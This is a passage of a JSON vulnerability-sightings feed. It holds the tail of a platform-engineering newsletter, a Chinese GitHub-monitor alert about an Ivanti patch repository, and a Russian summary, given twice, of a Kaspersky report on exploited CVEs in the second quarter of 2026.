at enterprise scale. This is where the concepts become your architecture. You will work through what it takes to design the paths that agents consume, put the guardrails and governance in place, and treat agents as first-class users of your platform (without losing control of cost, security, or quality along the way..)\n\n\nAgent Infrastructure for Platform Engineers (instructor-led, starts November 12). For when you\u2019re ready to go all the way in: a hands-on build of the harness and governance plane that agents actually run on. The advanced step once the ADP course is under your belt.\nNotice what that sequence actually is. It is the answer to the question. You do not need a perfect IDP or a board-approved AI strategy to start. You need one free hour to understand the architecture, then a structured way to evolve what you have.\nAI is reshaping our industry all around us. And platform engineering is the foundation to do it effectively, and safely. There is no greater opportunity for you and your org.\nSo, how the hell are you gonna do this? One hour at a time. What are you waiting for?\nHighlight of the week\n\n\nThe cost benefits of modernizing your VM fleet (that no one talks about)\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 17 Jul 2026 00:00:00 GMT\n\n", "creation_timestamp": "2026-07-22T15:09:24.550095Z"}, {"uuid": "076e62b5-751f-4aa6-a6e4-9fa46a45a0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31454", "type": "seen", "source": "https://bsky.app/profile/stanzanarotti.bsky.social/post/3mrb6otugg227", "content": "CVE-2026-31454?", "creation_timestamp": "2026-07-22T20:41:24.330519Z"}, {"uuid": "9a8654e5-e073-43f2-9828-b1fd49e2678c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31337", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99429", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Ivanti #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a patch-CVE-2026-31337\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gduma-phData\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-24 03:02:06\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPatch: RCE via authentication bypass (Ivanti Connect Secure)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-25T00:00:25.485373Z"}, {"uuid": "6166c305-3cf3-4753-905d-742d1288ea89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-27T00:00:08.582240Z"}, {"uuid": "5a502116-3a72-4552-887a-0bc336a46dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "exploited", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 